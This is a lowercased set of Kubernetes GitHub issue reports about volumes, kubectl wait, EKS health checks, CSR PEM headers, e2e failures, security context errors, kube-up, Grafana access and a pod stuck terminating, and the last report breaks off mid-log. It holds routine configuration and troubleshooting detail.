\r here is my pod spec:\r  apiversion: v1\r kind: pod\r metadata:\r   name: flexvol-test\r   namespace: default\r spec:\r   containers:\r   - name: flexvol-test\r     image: docker.example.com/myuser/mycontainer:1.0\r     env:\r     - name: spin\r       value: \ true\ \r     volumemounts:\r     - name: test\r       mountpath: /data\r   volumes:\r   - name: test\r     flexvolume:\r       driver: bithub/lvm\r       fstype: ext4\r       options:\r         volname: test-volume\r         volsize: 10g\r         volgroup: vg1\r         volfstype: ext4\r         volfsopts: \ \ \r         mountpoint: /data\r         mountopts: rm,noatime \r \r kubernetes version:\r \r  client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.6\ , gitcommit:\ a21fdbd78dde8f5447f5f6c331f7eb6f80bd684e\ , gittreestate:\ archive\ , builddate:\ 2018-07-30t07:32:49z\ , goversion:\ go1.9.7\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.6\ , gitcommit:\ a21fdbd78dde8f5447f5f6c331f7eb6f80bd684e\ , gittreestate:\ archive\ , builddate:\ 2018-07-30t07:32:49z\ , goversion:\ go1.9.7\ , compiler:\ gc\ , platform:\ linux/amd64\ } \r \r operating system:\r \r  linux myhost.example.com 4.1.12-124.16.4.el7uek.x86_64  2 smp thu jun 14 18:17:30 pdt 2018 x86_64 x86_64 x86_64 gnu/linux \r \r  

we should consider updating the  kubectl wait  command to wait on all resources for a given kind. for example:\r \r    bash\r $ kubectl wait --for=delete pods --all\r    \r \r would wait for every pod in the current namespace to be deleted.\r \r  \r cc @soltysh @deads2k

is this a bug report or feature request?:\r \r uncomment only one, leave it on its own line:\r \r    \r what happened:\r how to set health check path for aws load balancers created by eks service?\r \r we found annotation for for adding health check interval and protocol, but not for path -\r service.beta.kubernetes.io/aws-load-balancer-backend-protocol\r service.beta.kubernetes.io/aws-load-balancer-healthcheck-timeout\r \r please suggest what is the annotation for health check path?\r \r we looked in to the following links -\r a. https://kubernetes.io/docs/concepts/services-networking/service/ network-load-balancer-support-on-aws-alpha\r b. https://kubernetes.io/docs/concepts/cluster-administration/cloud-providers/ aws\r c. https://gist.github.com/mgoodness/1a2926f3b02d8e8149c224d25cc57dc1\r d. https://github.com/kubernetes/kubernetes/blob/master/pkg/cloudprovider/providers/aws/aws.go\r what you expected to happen:\r \r how to reproduce it  as minimally and precisely as possible :\r \r anything else we need to know?:\r \r environment:\r \r kubernetes version  use kubectl version :\r cloud provider or hardware configuration:\r os  e.g. from /etc/os-release :\r kernel  e.g. uname -a :\r install tools:\r others:

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line:\r >\r  \r \r   what happened  :\r \r when submitting the below csr to k8s for signing  generated by the java keytool  :\r \r    \r -----begin new certificate request-----\r miidbjccae4caqawgzaxczajbgnvbaytanvzmrewdwydvqqiewh2axjnaw5pytet\r mbega1uebxmkywxlegfuzhjpytezmbcga1uechmqdhjlbw9sbybzzwn1cml0etem\r maoga1uecxmdazhzmtawlgydvqqdeydvcgvudw5pc29ulm9wzw51bmlzb24uc3zj\r lmnsdxn0zxiubg9jywwwggeima0gcsqgsib3dqebaquaa4ibdwawggekaoibaqcx\r fzagkazv+elqzmz+tqqmqlk1wy/dtwsayosv2orh1rtlxy6z5tpuod70cbhbbz0n\r m033wedymp81ges5bv2bjpkab7q2jimaqnss+pv/jecnutpitonquifxxtqwexz7\r h1qpocnkgnu3jbzjjqvamfhqvz67getfjywaq91/sppguueppnoodsrt0yitrrww\r wcxlxken3qncsxjekis/z1wstdnw+mb/kddvniys9xfuuopspixfhg6adu7yickf\r mafjhmcvinbsw3va8d8smrvvoxxdzzs0awfzyj/fcb2quqoawb/9ne5i+doramrw\r n68khcs0nllxahbhkf35agmbaaggmdaubgkqhkig9w0bcq4xitafmb0ga1uddgqw\r bbsplhkeyyi+bkmiq3vlijp80r5eutanbgkqhkig9w0baqsfaaocaqeai2wur08f\r c/uujz/xuowoocs7skgvzrd5au1qw5637f8eijc6khn4cyel7a6y3s4bbgauh9zu\r nrosuwtvxbmmlq/2ahlxuxllcaem7pmdmq3li14i/y7pyiqht14g6rydae/sdz0u\r wtm/i7xrtlvmo9b5znzyqvjsclabtcms0kwpbzu3gse8ayo3+p7wjuyznfah6ya4\r /qvuwy34gbjvrmg66b7q9vtdfsdmqaruxtardwnvoyg6jh2jpbe/5gjpxzq4xaow\r vhtbrccs/dblvpzt1wi6ro9xyv8ib2mbqhe20mxbnue+a/nrgovwlitp0cgjovx2\r w4yzkqihuafzwa==\r -----end new certificate request-----\r    \r \r k8s rejects the request with the error message:  the certificatesigningrequest \ openunison.openunison.svc.cluster.local\  is invalid: spec.request: invalid value:   byte{0x2d,...}: pem block type must be certificate request \r \r   what you expected to happen  :\r \r this is a valid pem encoded csr, so the request should be submitted.  @liggitt  noticed that the keytool generated csr has the word  new  in the header and footer.  removing the word  new  allowed for the csr to be submitted. \r \r   how to reproduce it  as minimally and precisely as possible   :\r \r submit the following csr:\r \r    \r apiversion: certificates.k8s.io/v1beta1\r kind: certificatesigningrequest\r metadata:\r   name: openunison.openunison.svc.cluster.local\r spec:\r   groups:\r   - system:authenticated\r   request: ls0tls1crudjtiborvcgq0vsvelgsunbveugukvrvuvtvc0tls0tck1jsurcakndqwu0q0frqxdnwkf4q3pbskjntlzcqvluqw5wek1srxded1levlfrsuv3adjhwepuyvc1cflurvqktujfr0exvuvcee1lwvd4bgvhrnvasepwwvrfwk1cy0dbmvvfq2hnuwrismxivzlzynlcelpxtjfjbwwwzvrftqpnqw9hqtfvrun4turhemh6tvrbd0xnwurwuvferxlkdmnhvnvkvzvwyzi5duxtoxdavzuxym1semiynhvjm1pqckxttnnkwe4wwlhjdwjhowpzv3d3z2dfau1bmeddu3fhu0lim0rrrujbuvvbqtrjqkr3qxdnz0vlqw9jqkfrq3gkrnpbr2tbwlyrzwxxem1ak3rxuw1xtesxv3kvrfrxu0fzt3n2mk9sadfyvex4etz6nvrwvw9knzbjymhcqlowbgptmdmzd0vkww1qodfhrvm1ylyyqkpqa2fin1eysmltqxfuu1mrchyvsmvjtnvucglub05xvulgehhucxdlwho3ckgxuvbpy25lz251m0piempkuxzbbwzouxzanjdhrxrganl3qxe5ms9tufbhdvvlufbob09ku1j0mhljdfjsv1ckv0n4thhlrw4zuu5jc1hqzwtjuy9amxdtderuvyttqi9lzerwbmlzuzlyrlv1t3btcel4zkhhnmfkdtdzaunlzgptqwzqse1jdmloqln3m3zbogq4c21yvnzvehhkelpzmgfxrlpzai9mq0iycvvrb2fxqi85tmu1ssteb3jbbxjxcm42ogtoy1mwbkxswgfiqmhlzjm1qwdnqkfbr2dnref1qmdrcwhrauc5dzbcq1e0eeluqwznqjbhqtfvzernuvckqkjtuexoa2v5eukrqmttsxezdmxpala4mhi1rxvuqu5cz2txagtprzl3mejbuxngqufpq0frrufpmndvuja4rgpjl3vvanovwhvvd29vq1m3c2tndlpszdvhvtfxdzu2mzdmogvjsmm2s0hungnzzuw3ytz5m3m0qmjnyvviovpvcm5sb3n1v1r2wejntuxxlzjbsex4vvhstgnhzw03ce1ebxezbgkxnekvwtdqwulxsfqxnec2unlkquuvc2r6mhukd1rnl0k3ehj0bfzntzlinxpuwnlxvkpty0xhynrdtxmwa3dwqlpvm2dtzthhww8zk3a3d2pvevpuzmfonllhnaovcxzvd3kzngdianzstwc2nmi3utl2dermu0rtuwfyvvh0qvjed052t1lnnmpimkpwymuvnudqchhautryyw93cnzodgjyy2ntl2rcbfzwwlqxd0k2um85wfl2oelimm1icwhfmjbnwgjuvwurys9uukdpvndmavrqmgnnsk92edikdzrzwmtxsuhvqwzad0e9pqotls0tluvorcborvcgq0vsvelgsunbveugukvrvuvtvc0tls0tcg==\r   usages:\r   - digital signature\r   - key encipherment\r   - server auth\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:17:28z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 11\ , gitversion:\ v1.11.2\ , gitcommit:\ bb9ffb1654d4a729bb4cec18ff088eacc153c239\ , gittreestate:\ clean\ , builddate:\ 2018-08-07t23:08:19z\ , goversion:\ go1.10.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r    \r name=\ ubuntu\ \r version=\ 18.04.1 lts  bionic beaver \ \r id=ubuntu\r id_like=debian\r pretty_name=\ ubuntu 18.04.1 lts\ \r version_id=\ 18.04\ \r home_url=\ https://www.ubuntu.com/\ \r support_url=\ https://help.ubuntu.com/\ \r bug_report_url=\ https://bugs.launchpad.net/ubuntu/\ \r privacy_policy_url=\ https://www.ubuntu.com/legal/terms-and-policies/privacy-policy\ \r version_codename=bionic\r ubuntu_codename=bionic\r \r - kernel  e.g.  uname -a  :\r  linux k8s-login-master 4.15.0-29-generic  31-ubuntu smp tue jul 17 15:39:52 utc 2018 x86_64 x86_64 x86_64 gnu/linux \r - install tools:\r kubeadm\r - others:\r cert and csr generated by java keytool\r

which jobs are failing  :\r pull-kubernetes-e2e-gce-alpha-features \r \r   which test s  are failing  :\r  sig-cluster-lifecycle   feature:nodelease  nodealphafeature:nodelease  disruptive  nodelease deletion node lease should be deleted when corresponding node is deleted.\r \r   since when has it been failing  :\r since forever?\r \r   testgrid link  :\r https://testgrid.k8s.io/google-gce gci-gce-alpha-features\r \r   reason for failure  :\r unknown\r \r   anything else we need to know  :\r the test breaks all other tests in alpha-features jobs. perhaps the jobs should not run disruptive tests at all, other tests will not be happy with nodes being deleted underneath.\r \r currently it blocks  70439\r \r  / @wangzhen127, ptal

there is images documentation in https://github.com/googlecloudplatform/kubernetes/blob/master/docs/user-guide/images.md  under the \ using a private registry\  section, need to explain that to use an insecure private registry, you need to do certain steps, which are described in this thread: https://groups.google.com/forum/ !topic/google-containers/ozqtdgofhgo

currently, when you rebase api changes, you have to merge or otherwise make compilable the generated schema files, which are impossible for me personally  and i'm guessing just about everyone else  to merge.  there should be a script that you can use to 'blank out' generated files after rebase and reset them to the minimal buildable state so that all regenerations can be applied easily.  @wojtek-t @ncdc @kubernetes/rh-cluster-infra

the pod does not define a securitycontext, so it's probably getting set by kubernetes. from reading some other issues it looks like this might happen when there are multiple containers sharing a volume.  we are running kubernetes on aws  using core-os kube-aws tools   the error we see on the pod is:      io.fabric8.kubernetes.client.kubernetesclientexception: failure executing: put at: https://kubernetes.default.svc/api/v1/namespaces/default/pods/kube-metrics-fqr68. message: pods \ kube-metrics-fqr68\  is forbidden: securitycontext.supplementalgroups is forbidden. received status: status apiversion=v1, code=403, details=statusdetails causes=  , kind=pods, name=kube-metrics-fqr68, retryafterseconds=null, additionalproperties={} , kind=status, message=pods \ kube-metrics-fqr68\  is forbidden: securitycontext.supplementalgroups is forbidden, metadata=listmeta resourceversion=null, selflink=null, additionalproperties={} , reason=forbidden, status=failure, additionalproperties={} .      the apiserver runs with                - /hyperkube           - apiserver           - --bind-address=0.0.0.0           - --etcd-servers=http://localhost:2379           - --allow-privileged=true           - --service-cluster-ip-range={{.servicecidr}}           - --secure-port=443           - --advertise-address=$private_ipv4           - --admission-control=namespacelifecycle,securitycontextdeny,limitranger,serviceaccount,resourcequota           - --tls-cert-file=/etc/kubernetes/ssl/apiserver.pem           - --tls-private-key-file=/etc/kubernetes/ssl/apiserver-key.pem           - --client-ca-file=/etc/kubernetes/ssl/ca.pem           - --service-account-key-file=/etc/kubernetes/ssl/apiserver-key.pem           - --runtime-config=extensions/v1beta1/deployments=true,extensions/v1beta1/daemonsets=true           - --cloud-provider=aws       and the pod  from  kubectl get pod -o json   is      {     \ kind\ : \ pod\ ,     \ apiversion\ : \ v1\ ,     \ metadata\ : {         \ name\ : \ kube-metrics-fqr68\ ,         \ generatename\ : \ kube-metrics-\ ,         \ namespace\ : \ default\ ,         \ selflink\ : \ /api/v1/namespaces/default/pods/kube-metrics-fqr68\ ,         \ uid\ : \ 9527744c-0ce5-11e6-b395-0e5b59ce2655\ ,         \ resourceversion\ : \ 182049\ ,         \ creationtimestamp\ : \ 2016-04-28t02:04:47z\ ,         \ labels\ : {             \ app\ : \ kube-metrics\ ,             \ commit_id\ : \ 68d43d49\          },         \ annotations\ : {             \ kubernetes.io/created-by\ : \ {\\\ kind\\\ :\\\ serializedreference\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ reference\\\ :{\\\ kind\\\ :\\\ replicationcontroller\\\ ,\\\ namespace\\\ :\\\ default\\\ ,\\\ name\\\ :\\\ kube-metrics\\\ ,\\\ uid\\\ :\\\ 94dc640b-0ce5-11e6-b395-0e5b59ce2655\\\ ,\\\ apiversion\\\ :\\\ v1\\\ ,\\\ resourceversion\\\ :\\\ 169\\\ }}\ \          }     },     \ spec\ : {         \ volumes\ :               {                 \ name\ : \ kinesis\ ,                 \ emptydir\ : {}             },             {                 \ name\ : \ default-token-y3kl7\ ,                 \ secret\ : {                     \ secretname\ : \ default-token-y3kl7\                  }             }          ,         \ containers\ :               {                 \ name\ : \ heapster\ ,                 \ image\ : \ kubernetes/heapster:canary\ ,                 \ command\ :                       \ /heapster\ ,                     \ --source=kubernetes:https://kubernetes.default\ ,                     \ --metric_resolution=5s\                   ,                 \ env\ :                       {                         \ name\ : \ kinesis_stream\ ,                         \ value\ : \ lunadb-stag4_kube_metrics\                      },                     {                         \ name\ : \ container_name\ ,                         \ value\ : \ heapster\                      }                  ,                 \ resources\ : {},                 \ volumemounts\ :                       {                         \ name\ : \ kinesis\ ,                         \ mountpath\ : \ /var/log/lunadb-stag4_kube_metrics\                      },                     {                         \ name\ : \ default-token-y3kl7\ ,                         \ readonly\ : true,                         \ mountpath\ : \ /var/run/secrets/kubernetes.io/serviceaccount\                      }                  ,                 \ terminationmessagepath\ : \ /dev/termination-log\ ,                 \ imagepullpolicy\ : \ always\              },             {                 \ name\ : \ metrics\ ,                 \ image\ : \ lunadb/lunadb:68d43d492374b6efc3c81296cb569ead3140b7f0\ ,                 \ args\ :  ...  ,                 \ env\ :  ... ,                 \ resources\ : {},                 \ volumemounts\ :                       {                         \ name\ : \ kinesis\ ,                         \ mountpath\ : \ /var/log/lunadb-stag4_kube_metrics\                      },                     {                         \ name\ : \ default-token-y3kl7\ ,                         \ readonly\ : true,                         \ mountpath\ : \ /var/run/secrets/kubernetes.io/serviceaccount\                      }                  ,                 \ terminationmessagepath\ : \ /dev/termination-log\ ,                 \ imagepullpolicy\ : \ ifnotpresent\              },             {                 \ name\ : \ kinesis-agent\ ,                 \ image\ : \ lunadb/kinesis-agent:68d43d492374b6efc3c81296cb569ead3140b7f0\ ,                 \ args\ :                       \ --flow\ ,                     \ /var/log/lunadb-stag4_kube_metrics/ :lunadb-stag4_kube_metrics\                   ,                 \ resources\ : {                     \ limits\ : {                         \ cpu\ : \ 500m\ ,                         \ memory\ : \ 1gi\                      },                     \ requests\ : {                         \ cpu\ : \ 0\ ,                         \ memory\ : \ 1gi\                      }                 },                 \ volumemounts\ :                       {                         \ name\ : \ kinesis\ ,                         \ mountpath\ : \ /var/log/lunadb-stag4_kube_metrics/\                      },                     {                         \ name\ : \ default-token-y3kl7\ ,                         \ readonly\ : true,                         \ mountpath\ : \ /var/run/secrets/kubernetes.io/serviceaccount\                      }                  ,                 \ terminationmessagepath\ : \ /dev/termination-log\ ,                 \ imagepullpolicy\ : \ always\              }          ,         \ restartpolicy\ : \ always\ ,         \ terminationgraceperiodseconds\ : 30,         \ dnspolicy\ : \ clusterfirst\ ,         \ serviceaccountname\ : \ default\ ,         \ serviceaccount\ : \ default\ ,         \ nodename\ : \ ip-10-0-0-223.ec2.internal\ ,         \ securitycontext\ : {}     },     \ status\ : {         \ phase\ : \ running\ ,         \ conditions\ :               {                 \ type\ : \ ready\ ,                 \ status\ : \ true\ ,                 \ lastprobetime\ : null,                 \ lasttransitiontime\ : \ 2016-04-28t19:18:35z\              }          ,         \ hostip\ : \ 10.0.0.223\ ,         \ podip\ : \ 10.2.24.2\ ,         \ starttime\ : \ 2016-04-28t02:04:48z\ ,         \ containerstatuses\ :               {                 \ name\ : \ heapster\ ,                 \ state\ : {                     \ running\ : {                         \ startedat\ : \ 2016-04-28t02:05:55z\                      }                 },                 \ laststate\ : {},                 \ ready\ : true,                 \ restartcount\ : 0,                 \ image\ : \ kubernetes/heapster:canary\ ,                 \ imageid\ : \ docker://sha256:f22da6c6855c47ce5ec1513f5e021c8a958617bbdfbc892cd47e1d1e7737a7da\ ,                 \ containerid\ : \ docker://f7be689b49897b10169ba9e816b1ab4928a71a8e15106f572d2b2ba5e2902b3c\              },             {                 \ name\ : \ kinesis-agent\ ,                 \ state\ : {                     \ running\ : {                         \ startedat\ : \ 2016-04-28t02:05:11z\                      }                 },                 \ laststate\ : {},                 \ ready\ : true,                 \ restartcount\ : 0,                 \ image\ : \ lunadb/kinesis-agent:68d43d492374b6efc3c81296cb569ead3140b7f0\ ,                 \ imageid\ : \ docker://sha256:c79045bbda61177e1a452a2bae93ff4ac68b08c06c7e3bd8c2b052a13392142f\ ,                 \ containerid\ : \ docker://5e4713d6ebcbf839d2310cd820d8b75d13fa776728ac165c2df22ab6b68a0040\              },             {                 \ name\ : \ metrics\ ,                 \ state\ : {                     \ running\ : {                         \ startedat\ : \ 2016-04-28t19:18:35z\                      }                 },                 \ laststate\ : {                     \ terminated\ : {                         \ exitcode\ : 1,                         \ reason\ : \ error\ ,                         \ startedat\ : \ 2016-04-28t19:13:14z\ ,                         \ finishedat\ : \ 2016-04-28t19:13:27z\ ,                         \ containerid\ : \ docker://9fadb1d663c5c87e9c6cff8d54b01523af5538594b738f490369b72ba5674943\                      }                 },                 \ ready\ : true,                 \ restartcount\ : 195,                 \ image\ : \ lunadb/lunadb:68d43d492374b6efc3c81296cb569ead3140b7f0\ ,                 \ imageid\ : \ docker://sha256:b6d2340713d09e7c4ae1b9b936dc47a06b34cb954307df65e81dbe1cb3408613\ ,                 \ containerid\ : \ docker://e4a22350cf1f6333205f74ee5122100783187a79f8b10927ae5d6fc095e65a61\              }               } }

i am using kubernetes 1.2.4 release  <img width=\ 1012\  alt=\ screen shot 2016-06-26 at 3 13 42 pm\  src=\ https://cloud.githubusercontent.com/assets/5432406/16365393/aabbbe86-3bb3-11e6-81bd-2615a166174a.png\ >    here are environment variables i used           export kubernetes_provider=aws export num_nodes=5 export master_size=m4.xlarge export node_size=m4.xlarge export aws_default_profile=devops export kube_aws_zone=us-west-2a export aws_s3_region=us-west-2 export aws_s3_bucket=kant-kubernetes-bucket export vpc_id=vpc-86a33ae2 ​ export kube_vpc_cidr_base=\ 10.100\  export kube_subnet_cidr=\ 10.100.3.0/24\  export non_masquerade_cidr=\ 100.64.0.0/10\  export service_cluster_ip_range=\ 100.64.0.0/16\  export dns_server_ip=\ 100.64.0.10\  export master_ip_range=\ 100.65.0.0/24\  export cluster_ip_range=\ 100.66.0.0/16\       i get couple of errors when i run kube-up.sh with the above settings. please look at the screen shots  above 1. error: error parsing jsonpath {.contexts ? @.name == \ using subnet cidr override: 10.100.3.0/24 aws_kubernetes\   .context.user}, unterminated filter 2. detected 6 ready nodes, found 6 nodes out of expected 5. found more nodes than expected, your cluster may not behave correctly.

i've never actually used grafana before.  the kube-up logs say:      grafana is running at https://104.197.163.84/api/v1/proxy/namespaces/kube-system/services/monitoring-grafana      but hitting that url gives:      forbidden: \ /api/v1/proxy/namespaces/kube-system/services/monitoring-grafana\       i tried hitting it through the proxy, but got:      $ curl localhost:8001/api/v1/proxy/namespaces/kube-system/services/monitoring-grafana/ {\ message\ :\ invalid api key\ }      i figure exposing it as type=loadbalancer would give me some ui. it doesn't, the loadbalancer ip shows:      {{alert.title}}      looking at the javascript on that page, it reads like i'm not logged in. is there some url path i need to hit?  @apelisse any idea, since you setup similar dashboards?

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?  :\r readiness, stuck terminating\r \r ---\r \r   is this a bug report or feature request?  : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.4\ , gitcommit:\ 3b417cc4ccd1b8f38ff9ec96bb50a81ca0ea9d56\ , gittreestate:\ clean\ , builddate:\ 2016-10-21t02:48:38z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : aws ec2 instances\r -   os    e.g. from /etc/os-release : ubuntu 16.04.1 lts  xenial xerus \r -   kernel    e.g.  uname -a  : linux 4.4.0-53-generic x86_64\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r  edit: this is the initial report, discovered that the readiness check is irrelevant and only prestop hook not completing is the issue, see https://github.com/kubernetes/kubernetes/issues/40036 issuecomment-273926646 \r  - issued a delete to a pod with a single container that has a readiness probe and a prestop hook\r  - pod prestop hook starts executing, and pod stops replying to readiness url\r  - prestop hook finishes and container exits\r  - kubelet continues trying the readiness probe, and status of the pod remains in terminating and notready, and the kubelet continues to try the readiness probe\r \r docker says:\r    \r    \ finishedat\ : \ 2017-01-17t18:03:30z\ \r    \r kubelet logs on timing:\r    \r jan 17 18:03:19 ip-10-0-38-132 kubelet 2347 : i0117 18:03:19.809119    2347 kubelet.go:2309  syncloop  delete, \ api\  : \ herder-1050257015-i1jl9_default 268b0b57-dcad-11e6-bb0c-0ebb253f918e \ \r jan 17 18:03:19 ip-10-0-38-132 kubelet 2347 : i0117 18:03:19.809185    2347 kubelet.go:2761  generating status for \ herder-1050257015-i1jl9_default 268b0b57-dcad-11e6-bb0c-0ebb253f918e \ \r jan 17 18:03:19 ip-10-0-38-132 kubelet 2347 : i0117 18:03:19.809566    2347 docker_manager.go:1492  killing container \ ac6619eb49f1c21077bcd1d7fe8118561b4d080433875b3b4b42c87ea7e60b5f dockherder default/herder-1050257015-i1jl9\  with 660 second grace period\r jan 17 18:03:19 ip-10-0-38-132 kubelet 2347 : i0117 18:03:19.809590    2347 docker_manager.go:1496  running prestop hook for container \ ac6619eb49f1c21077bcd1d7fe8118561b4d080433875b3b4b42c87ea7e60b5f dockherder default/herder-1050257015-i1jl9\ \r jan 17 18:03:19 ip-10-0-38-132 kubelet 2347 : i0117 18:03:19.823477    2347 status_manager.go:425  status for pod \ herder-1050257015-i1jl9_default 268b0b57-dcad-11e6-bb0c-0ebb253f918e \  updated successfully: {status:{phase:running conditions: {type:initialized status:true lastprobetime:{time:{sec:0 nsec:0 loc:0x523b220}} lasttransitiontime:{time:{sec:63620251649 nsec:0 loc:0x523b220}} reason: message:} {type:ready status:true lastprobetime:{time:{sec:0 nsec:0 loc:0x523b220}} lasttransitiontime:{time:{sec:63620251655 nsec:0 loc:0x523b220}} reason: message:} {type:podscheduled status:true lastprobetime:{time:{sec:0 nsec:0 loc:0x523b220}} lasttransitiontime:{time:{sec:63620251645 nsec:0 loc:0x523b220}} reason: message:}  message: reason: hostip:10.0.38.132 podip:10.0.38.132 starttime:0xc8205be5a0 initcontainerstatuses: {name:runner-image-fetch state:{waiting:<nil> running:<nil> terminated:0xc820981420} lastterminationstate:{waiting:<nil> running:<nil> terminated:<nil>} ready:true restartcount:0 image:yyy/image-puller:2c619cbe8623ce31e841d5f583f471c0583ee28f imageid:docker://sha256:57723362a3b1df463a42f6df5cb88d28b285543d411f9a4fec775fbdd8cbe8a1 containerid:docker://a100a9908270c4205f6b601edd29646dbe9a435f41188c063f4deb31f6b71e24} {name:dockherder-config-fetch state:{waiting:<nil> running:<nil> terminated:0xc820981490} lastterminationstate:{waiting:<nil> running:<nil> terminated:<nil>} ready:true restartcount:0 image:yyy/config-downloader:7d1dd4ebcfb21413f5aa063ea744777dcdabd9ff imageid:docker://sha256:d42d1a3032e64ec17c8caf4e886f46fddaf3d3dab5f28a8a6074ce29e119e2c7 containerid:docker://44f5e00914d3906363764c68d47ef175dde476d68acfc95ed97ab406595b9360}  containerstatuses: {name:dockherder state:{waiting:<nil> running:0xc8210621e0 terminated:<nil>} lastterminationstate:{waiting:<nil> running:<nil> terminated:<nil>} ready:true restartcount:0 image:yyy/dockherder:yyy-dockherder-88061e60 imageid:docker://sha256:0f6f904d59e727f17db0f7eef0b11eedb87ed2d0758648d2b4f13e284ddb33d5 containerid:docker://ac6619eb49f1c21077bcd1d7fe811856\r jan 17 18:03:19 ip-10-0-38-132 kubelet 2347 : 1b4d080433875b3b4b42c87ea7e60b5f} } version:7 podname:herder-1050257015-i1jl9 podnamespace:default}\r jan 17 18:03:19 ip-10-0-38-132 kubelet 2347 : i0117 18:03:19.825025    2347 status_manager.go:435  pod \ herder-1050257015-i1jl9_default 268b0b57-dcad-11e6-bb0c-0ebb253f918e \  is terminated, but some containers are still running\r jan 17 18:03:25 ip-10-0-38-132 kubelet 2347 : i0117 18:03:25.612362    2347 http.go:85  probe failed for http://10.0.38.132:4160/ping with request headers map  , response body:\r jan 17 18:03:25 ip-10-0-38-132 kubelet 2347 : i0117 18:03:25.612394    2347 prober.go:108  readiness probe for \ herder-1050257015-i1jl9_default 268b0b57-dcad-11e6-bb0c-0ebb253f918e :dockherder\  failed  failure : http probe failed with statuscode: 418\r jan 17 18:03:25 ip-10-0-38-132 kubelet 2347 : i0117 18:03:25.612642    2347 server.go:608  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ herder-1050257015-i1jl9\ , uid:\ 268b0b57-dcad-11e6-bb0c-0ebb253f918e\ , apiversion:\ v1\ , resourceversion:\ 5532615\ , fieldpath:\ spec.containers{dockherder}\ } : type: 'warning' reason: 'unhealthy' readiness probe failed: http probe failed with statuscode: 418\r jan 17 18:03:30 ip-10-0-38-132 kubelet 2347 : i0117 18:03:30.590835    2347 manager.go:931  destroyed container: \ /docker/ac6619eb49f1c21077bcd1d7fe8118561b4d080433875b3b4b42c87ea7e60b5f\   aliases:  k8s_dockherder.40f109c0_herder-1050257015-i1jl9_default_268b0b57-dcad-11e6-bb0c-0ebb253f918e_4985ccb9 ac6619eb49f1c21077bcd1d7fe8118561b4d080433875b3b4b42c87ea7e60b5f , namespace: \ docker\  \r jan 17 18:03:31 ip-10-0-38-132 kubelet 2347 : i0117 18:03:31.280520    2347 generic.go:327  pleg: write status for herder-1050257015-i1jl9/default: &container.podstatus{id:\ 268b0b57-dcad-11e6-bb0c-0ebb253f918e\ , name:\ herder-1050257015-i1jl9\ , namespace:\ default\ , ip:\ \ , containerstatuses:   container.containerstatus{  container.containerstatus  0xc82018e7e0 ,   container.containerstatus  0xc82018e9a0 ,   container.containerstatus  0xc82000b0a0 ,   container.containerstatus  0xc820072a80 }}  err: <nil> \r jan 17 18:03:31 ip-10-0-38-132 kubelet 2347 : i0117 18:03:31.280595    2347 kubelet.go:2328  syncloop  pleg : \ herder-1050257015-i1jl9_default 268b0b57-dcad-11e6-bb0c-0ebb253f918e \ , event: &pleg.podlifecycleevent{id:\ 268b0b57-dcad-11e6-bb0c-0ebb253f918e\ , type:\ containerdied\ , data:\ ac6619eb49f1c21077bcd1d7fe8118561b4d080433875b3b4b42c87ea7e60b5f\ }\r jan 17 18:03:35 ip-10-0-38-132 kubelet 2347 : i0117 18:03:35.611274    2347 prober.go:108  readiness probe for \ herder-1050257015-i1jl9_default 268b0b57-dcad-11e6-bb0c-0ebb253f918e :dockherder\  failed  failure : get http://10.0.38.132:4160/ping: dial tcp 10.0.38.132:4160: getsockopt: connection refused\r jan 17 18:03:35 ip-10-0-38-132 kubelet 2347 : i0117 18:03:35.611480    2347 server.go:608  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ herder-1050257015-i1jl9\ , uid:\ 268b0b57-dcad-11e6-bb0c-0ebb253f918e\ , apiversion:\ v1\ , resourceversion:\ 5532615\ , fieldpath:\ spec.containers{dockherder}\ } : type: 'warning' reason: 'unhealthy' readiness probe failed: get http://10.0.38.132:4160/ping: dial tcp 10.0.38.132:4160: getsockopt: connection refused\r ....\r jan 17 18:03:45 ip-10-0-38-132 kubelet 2347 : i0117 18:03:45.611253    2347 prober.go:108  readiness probe for \ herder-1050257015-i1jl9_default 268b0b57-dcad-11e6-bb0c-0ebb253f918e :dockherder\  failed  failure : get http://10.0.38.132:4160/ping: dial tcp 10.0.38.132:4160: getsockopt: connection refused\r jan 17 18:03:45 ip-10-0-38-132 kubelet 2347 : i0117 18:03:45.611454    2347 server.go:608  event api.objectreference{kind:\ pod\ , namespace:\ default\ , name:\ herder-1050257015-i1jl9\ , uid:\ 268b0b57-dcad-11e6-bb0c-0ebb253f918e\ , apiversion:\ v1\ , resourceversion:\ 5532615\ , fieldpath:\ spec.containers{dockherder}\ } : type: 'warning' reason: 'unhealthy' readiness probe failed: get http://10.0.38.132:4160/ping: dial tcp 10.0.38.132:4160: getsockopt: connection refused\r jan 17 